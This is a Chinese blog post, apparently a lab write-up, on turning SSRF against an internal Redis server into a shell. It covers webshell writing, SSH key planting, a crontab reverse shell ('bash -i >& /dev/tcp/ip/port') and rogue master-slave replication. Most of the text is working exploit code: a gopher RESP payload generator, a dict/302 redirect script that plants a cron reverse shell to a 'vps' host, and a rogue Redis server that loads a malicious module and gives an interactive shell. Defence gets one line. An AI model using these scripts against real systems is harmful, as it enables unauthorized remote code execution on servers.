0%

SSRF-内网Redis Getshell

Redis是常见的内网服务,因其默认配置未授权访问或使用弱口令认证,可以导致getshell。这篇文章通过实验的方式介绍了四种内网Redis Getshell的方式。

经过总结,目前网上对于Redis常见的getshell方式有以下几种:

  • 绝对路径写Webshell
  • 写入ssh公钥
  • 写crontab计划任务反弹shell(针对CentOS)
  • 主从复制(4.0 < Redis)

这篇文章通过实验依次介绍几种方法的使用以及一些脚本,脚本以及此次实验的环境都放在了github

介绍

首先介绍一下Redis以及此次实验的相关配置。

Redis介绍

Redis常用命令有以下几个:

1
2
3
4
5
6
7
8
info                    查看信息  
flushall 删除数据库所有内容
flushdb 刷新数据库
keys * 查看所有键
set key value 设置变量
config set dir dirpath 设置路径
config set dbfilename 设置文件名
save 保存

环境配置

  • docker
  • centos7.0 + Redis5.0
  • Python3.6.0

php代码放置在docker启动的web服务器上,是一个未经任何防御的SSRF的php代码。如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#index.php
<?php
if(isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST,0);
curl_setopt($curlobj, CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, 1);
$result=curl_exec($curlobj);
echo $result;
curl_close($curlobj);
}
?>

Redis在另一个镜像中,将Redis绑定在0.0.0.0,因此在宿主机访问curl -v dict://127.0.0.1:6379/info可以成功。但对于docker里的web服务器,docker.for.mac.host.internal为能访问宿主机的地址。即docker.for.mac.host.internal:6379来表示访问内网中的Redis。

实验

基于前面搭建的环境,对这几种利用方式进行了复现。

1. 绝对路径写webshell

绝对路径写webshell的方法利用Redis的写权限向web目录中写入webshell,然后通过webshell来getshell。绝对路径写webshell的方法适用于以下场景:

  1. 开启了web服务
  2. Redis具有对web路径的写权限
  3. 知道web目录物理路径

以写入php语言的webshell为例,需要在redis中执行以下命令以达到写入webshell的目的。

1
2
3
4
5
flushall
set 1 '<?php eval($_GET["cmd"])';?>'
config set dir /var/www/html
config set dbfilename shell.php
save

在内网中最常用两种协议dict://gopher://。其中dict://需要一步步地执行redis getshell的exp,而gopher协议只需要一个url请求即可。在这里使用gopher协议来进行利用。

Redis服务器与客户端通过RESP协议通信,在利用gopher协议时,需要将需要执行的命令转化为redis RESP协议的格式。这里参考了网上的一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# exp_resp.py
from urllib.parse import quote

protocol = "gopher://"
ip = "docker.for.mac.host.internal"
port = "6379"

shell = "\n\n<?php system($_GET["cmd"]);?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""

cmd = [ "flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]

if passwd:
cmd.insert(0,"AUTH {}".format(passwd))

payload = protocol+ip+":"+port+"/_"

def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*"+str(len(redis_arr))
for x in redis_arr:
cmd += CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd += CRLF
return cmd

if __name__ == "__main__":
for x in cmd:
payload += quote(redis_format(x))
print(payload)

运行的结果如下所示:

此payload需放在浏览器中作为get请求的url的参数值,它需要进行一次url编码。即最后的payload为http://127.0.0.1:7777/index.php?url=gopher.....

在redis中可以看到执行成功。接下来访问http://127.0.0.1/shell.php?cmd=command即可。

2. 写ssh公钥免密登录

写ssh公钥的方法利用的是ssh中提供可利用私钥登录的方式,将公钥写入特定目录下,导致攻击者可以私钥直接登录。写ssh公钥的方法适用于以下场景:

  1. 开启了ssh服务,且允许免密登录
  2. 需要root权限启动redis

允许免密登录的配置在etc/sshd/sshd_config

1
2
3
4
RSAAuthentication yes
PubkeyAuthentication yes

AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2

整个过程分为3步: 1) 生成key pair; 2) 写入ssh key; 3)登录。

生成key pair

在本地生成公私钥对,进入~/.ssh,执行ssh-keygen -t rsa命令,输入生成的文件名authorized_keys

写入ssh key

写入ssh key的方式与写入webshell一样,只是改变了写入的目录以及写入的内容。redis运行在什么用户,就能直接以此用户身份进行登录。一般是些写入/root/.ssh目录,也可以写入用户目录,不过需要多一步猜测用户目录。若目录不存在,可利用crontab创建目录,这一方式在下面会介绍到。写入ssh key需要在redis中执行以下命令:

1
2
3
4
5
flushall
set 1 'ssh-rsa xxx...xxx'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

同理,可用gopher可以完成此次利用。

0x03 写crontab计划反弹shell

写crontab计划的方式适用于以下场景:

  1. 系统为Centos。
  2. root权限启动redis。

此方法只能在CentOs上使用,Ubuntu上行不通主要有2点原因。1) 默认Redis写文件后是644的权限,但是Ubuntu要求执行定时任务/var/spool/cron/ceontabs/<username>的权限必须是600,才会执行,而CentOS的定时任务/var/spool/cron/<username>权限644也能执行。2) Redis保存RDB会存在乱码,在Ubuntu上会报错,而在CentOS上不会报错。

执行的命令如下:

1
2
3
4
5
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

前面介绍了使用gopher协议生成payload,此方法也可以使用。但是这里介绍了使用dict://协议来进行利用。这里介绍另一个经典脚本,需要302.php以及shell.php放置在vps上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import requests

host = '127.0.0.1'
port = '6379'

vul_httpurl = "http://127.0.0.1:7777/index.php?url="

_location = "http://vps:7777/302.php"

shell_location = "http://vps:7777/shell.php"

#1 flush db
scheme = "dict"
ip = "docker.for.mac.host.internal"
port = 6379
bhost = "vps"
bport = 2333
_payload = '?scheme={scheme}%26ip={ip}%26port={port}%26data=flushall'.format(
scheme = scheme,
ip = ip,
port = port
)

exp_uri = '{vul_httpurl}{location}{payload}'.format(
vul_httpurl = vul_httpurl,
location = _location,
payload = _payload
)

print(exp_uri)
print(len(requests.get(exp_uri).text))

#2 set crontab command
_payload = '?scheme={scheme}%26ip={ip}%26port={port}%26bhost={bhost}%26bport={bport}'.format(
scheme = scheme,
ip = ip,
port = port,
bhost = bhost,
bport = bport
)

exp_uri = '{vul_httpurl}{shell_location}{payload}'.format(
vul_httpurl = vul_httpurl,
shell_location = shell_location,
payload = _payload
)

print(exp_uri)
print(requests.get(exp_uri).text)

#3 config set dir
_payload = '?scheme={scheme}%26ip={ip}%26port={port}%26data=config:set:dir:/var/spool/cron'.format(
scheme = scheme,
ip = ip,
port = port
)

exp_uri = '{vul_httpurl}{location}{payload}'.format(
vul_httpurl = vul_httpurl,
location = _location,
payload = _payload
)

print(exp_uri)
print(requests.get(exp_uri).text)

#3 config set dbfilename
_payload = '?scheme={scheme}%26ip={ip}%26port={port}%26data=config:set:dbfilename:root'.format(
scheme = scheme,
ip = ip,
port = port
)

exp_uri = '{vul_httpurl}{location}{payload}'.format(
vul_httpurl = vul_httpurl,
location = _location,
payload = _payload
)

print(exp_uri)
print(requests.get(exp_uri).text)

#4 save
_payload = '?scheme={scheme}%26ip={ip}%26port={port}%26data=save'.format(
scheme = scheme,
ip = ip,
port = port
)

exp_uri = '{vul_httpurl}{location}{payload}'.format(
vul_httpurl = vul_httpurl,
location = _location,
payload = _payload
)

print(exp_uri)
print(requests.get(exp_uri).text)

运行这个脚本并在vps上监听2333端口,等一小会儿就能看到反弹shell的连接。

注意: 当curl设置了仅允许HTTP/HTTPS,且允许302跳转的情况下,可利用302跳转进行绕过。

4. 主从复制

主从复制这一利用方式是由LC/BC战队队员Pavel Toporkov在zeronights 2018上提出的,PPT。它主要是利用主节点向从节点同步数据时发送恶意RDB文件来实现getshell的。主从复制的RCE适用于以下场景:

  • Redis 4.x以及5.x版本

整个的步骤分为4步。

1)将目标redis设置为slave

建立主从关系只需要在从节点操作即可,主节点不用任何操作。在这条命令执行以后,就会向主节点发送请求同步内容。解除主从关系可以执行slaveof no one

1
slaveof ip port

2)设置redis的数据库文件

1
2
config set dir /tmp
config set dbfilename exp.so

在这里最好将当前目录设置为/tmp目录这样的,提高容错率。

3) 从master接收module
自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,实现新的Redis命令。Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。恶意的so文件可参考RedisModulesSDK

在这个过程当中,利用全量复制将master上的RDB文件同步到slave上,从而加载恶意so文件达到RCE的目的。因此,需要以master的身份向slave传输so文件,在弄清楚他们之间流程后,便可伪造一个假的redis服务器。

1
2
3
4
5
6
7
master   <------ PING  <-----    slave
master ------> +PONG -----> slave
master <--- REPLCONF <----- slave
master -------> +OK -----> slave
master <--- REPLCONF <----- slave
master -------> +OK -----> slave
master <------ PSYNC <----- slave

对于我们而言,我们只需要关注在收到slave的请求后,如何回应它,以及在收到PSYNC后发送恶意的so文件。提出该方式的作者编写了一个脚本来发送exp.so文件数据。这里使用了网上的一个脚本。

redis_slave.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import socket
import time


CRLF = "\r\n"
payload = open("exp.so","rb").read()
exp_filename = "exp.so"

def redis_format(arr):
global CRLF
global payload
redis_arr = arr.split(" ")
cmd = ""
cmd += "*"+str(len(redis_arr))
for x in redis_arr:
cmd += CRLF+"$"+str(len(x))+CRLF+x
cmd += CRLF
return cmd

def redis_connect(shost,sport):
sock = socket.socket()
sock.connect((shost,sport))
return sock

def send(sock,cmd):
sock.send(redis_format(cmd).encode())
print(sock.recv(1024).decode("utf-8"))

def interact_shell(sock):
flag = True
try:
while flag:
shell = input("\033[1;32;40m[*]\033[0m ")
shell = shell.replace(" ","${IFS}")
if shell == "exit" or shell == "quit":
flag = False
else:
send(sock,"system.exec {}".format(shell))
except KeyboardInterrupt:
return

def RogueServer(mport):
global CRLF
global payload
flag = True
result = ""
sock = socket.socket()
sock.bind(("0.0.0.0", mport))
sock.listen(10)
clientSock, address = sock.accept()
while flag:
data = clientSock.recv(1024).decode("utf-8")
if "PING" in data:
result = "+PONG"+CRLF
clientSock.send(result.encode())
flag = True
elif "REPLCONF" in data:
result = "+OK"+CRLF
clientSock.send(result.encode())
flag = True
elif "PSYNC" in data or "SYNC" in data:
result = "+FULLRESYNC "+"a"*40+" 1"+CRLF
result += "$"+str(len(payload))+CRLF
result = result.encode()
result += payload
result += CRLF.encode()
clientSock.send(result)
flag = False



if __name__ == "__main__":
mhost = "docker.for.mac.host.internal"
mport = 6380
shost = "127.0.0.1"
sport = 6379
passwd = ""
redis_sock = redis_connect(shost,sport)

if passwd:
send(redis_sock,"AUTH {}".format(passwd))
send(redis_sock,"SLAVEOF {} {}".format(mhost,mport))
send(redis_sock,"config set dbfilename {}".format(exp_filename))
time.sleep(2)
RogueServer(mport)
send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
interact_shell(redis_sock)

在SSRF的场景中,只能通过url请求访问到内网Redis的情况下,不能直接使用脚本,而是将其中的1)2)4)命令配合其他协议执行,然后在vps上启动Redis_Rogue_Server.py。

在这个过程中master一定要回复全量复制。因为增量复制时,slave向master发送的runid和offset对应的情况下,会进行数据同步,但不会传输RDB文件。

4)加载模块

1
module load ./exp.so

在加载模块结束后,执行system.exec command即可执行任意命令。

防御

  • 在不影响业务的情况下,仅允许HTTP/HTTPS协议,且禁止302跳转。

参考